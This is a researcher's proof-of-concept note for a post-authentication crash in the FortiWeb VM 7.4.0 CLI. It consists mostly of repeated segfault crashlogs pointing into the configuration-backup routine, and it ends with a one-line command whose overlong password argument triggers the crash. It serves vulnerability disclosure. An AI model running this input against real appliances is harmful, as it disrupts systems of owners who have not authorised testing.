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fortiweb-CLI-postauth-backup-crash-poc.txt
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fortiweb-CLI-postauth-backup-crash-poc.txt
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;;
;; FortiWeb VM (v7.4.0 build577) Post-auth CLI Crash
;;
;; (...)
;;
;; code610 / some debug notes fyi
;;
;; 17.11.2023 @ 23:33
;;
FortiWeb # diagnose debug crashlog show
2023-11-16 05:07:00 <004315> application cli
2023-11-16 05:07:00 <004315> *** signal Segmentation fault received ***
2023-11-16 05:07:00 <004315> RIP 00007fdd1febf44f
2023-11-16 05:07:00 <004315> EFLAGS 0000000000010206
2023-11-16 05:07:00 <004315> RAX 0000000000000000
2023-11-16 05:07:00 <004315> RBX 0000000000000005
2023-11-16 05:07:00 <004315> RCX 00005642dd55d4b1
2023-11-16 05:07:00 <004315> RDX 00007ffca74d8ff0
2023-11-16 05:07:00 <004315> RSI 0000000000000000
2023-11-16 05:07:00 <004315> RDI 00007ffca74d82d0
2023-11-16 05:07:00 <004315> RBP 0000000000000000
2023-11-16 05:07:00 <004315> RSP 00007ffca74d8208
2023-11-16 05:07:00 <004315> CS 0000
2023-11-16 05:07:00 <004315> GS 0000
2023-11-16 05:07:00 <004315> FS 0033
2023-11-16 05:07:00 <004315> Trap 000000000000000e
2023-11-16 05:07:00 <004315> Error 0000000000000006
2023-11-16 05:07:00 <004315> Oldmask 0000000000000000
2023-11-16 05:07:00 <004315> CR2 00007ffca74d9020
2023-11-16 05:07:00 <004315> [0x00007fdd1febf44f] ==> /lib64/libc.so.6 + 0x000000000013d44f)
2023-11-16 05:07:00 <004315> [0x00007fdd21329ae3] => /lib64/libconfd.so (cfg_backup+0x00000193)
2023-11-16 05:07:00 <004315> [0x00007fdd21329ae3] => /lib64/libconfd.so (cfg_backup+0x00000193)
2023-11-16 05:07:38 <004315> application cli
2023-11-16 05:07:38 <004315> *** signal Segmentation fault received ***
2023-11-16 05:07:38 <004315> RIP 00007fdd1fec034f
2023-11-16 05:07:38 <004315> EFLAGS 0000000000010206
2023-11-16 05:07:38 <004315> RAX 0000000000000000
2023-11-16 05:07:38 <004315> RBX 0000000000000006
2023-11-16 05:07:38 <004315> RCX 00005642dd55403b
2023-11-16 05:07:38 <004315> RDX 00007ffca74d8fe0
2023-11-16 05:07:38 <004315> RSI 0000000000000000
2023-11-16 05:07:38 <004315> RDI 00007ffca74d82d0
2023-11-16 05:07:38 <004315> RBP 0000000000000000
2023-11-16 05:07:38 <004315> RSP 00007ffca74d8208
2023-11-16 05:07:38 <004315> CS 0000
2023-11-16 05:07:38 <004315> GS 0000
2023-11-16 05:07:38 <004315> FS 0033
2023-11-16 05:07:38 <004315> Trap 000000000000000e
2023-11-16 05:07:38 <004315> Error 0000000000000006
2023-11-16 05:07:38 <004315> Oldmask 0000000000000000
2023-11-16 05:07:38 <004315> CR2 00007ffca74d9010
2023-11-16 05:07:38 <004315> [0x00007fdd1fec034f] ==> /lib64/libc.so.6 + 0x000000000013e34f)
2023-11-16 05:07:38 <004315> [0x00007fdd21329ae3] => /lib64/libconfd.so (cfg_backup+0x00000193)
2023-11-16 05:07:38 <004315> [0x00007fdd21329ae3] => /lib64/libconfd.so (cfg_backup+0x00000193)
2023-11-16 05:08:00 <004315> application cli
2023-11-16 05:08:00 <004315> *** signal Segmentation fault received ***
2023-11-16 05:08:00 <004315> RIP 00007fdd1febf284
2023-11-16 05:08:00 <004315> EFLAGS 0000000000010246
2023-11-16 05:08:00 <004315> RAX 0000000000000000
2023-11-16 05:08:00 <004315> RBX 0000000000000006
2023-11-16 05:08:00 <004315> RCX 00005642dd558a80
2023-11-16 05:08:00 <004315> RDX 00007ffca74d9030
2023-11-16 05:08:00 <004315> RSI ffffffffffffffc0
2023-11-16 05:08:00 <004315> RDI 00007ffca74d82d0
2023-11-16 05:08:00 <004315> RBP 0000000000000000
2023-11-16 05:08:00 <004315> RSP 00007ffca74d8208
2023-11-16 05:08:00 <004315> CS 0000
2023-11-16 05:08:00 <004315> GS 0000
2023-11-16 05:08:00 <004315> FS 0033
2023-11-16 05:08:00 <004315> Trap 000000000000000e
2023-11-16 05:08:00 <004315> Error 0000000000000006
2023-11-16 05:08:00 <004315> Oldmask 0000000000000000
2023-11-16 05:08:00 <004315> CR2 00007ffca74d9000
2023-11-16 05:08:00 <004315> [0x00007fdd1febf284] ==> /lib64/libc.so.6 + 0x000000000013d284)
2023-11-16 05:08:00 <004315> [0x00007fdd21329ae3] => /lib64/libconfd.so (cfg_backup+0x00000193)
2023-11-16 05:08:00 <004315> [0x00007fdd21329ae3] => /lib64/libconfd.so (cfg_backup+0x00000193)
FortiWeb # ;; version: FortiWeb VM (v7.4.0 build577)
;; quick poc:
fgweb_cli> execute backup cli-config tftp SOMEFILENAME 1.1.1.1 PASSWD_LEN_IS_OUR_CRASHER
;;
;; https://code610.blogspot.com/search?q=fortigate
;;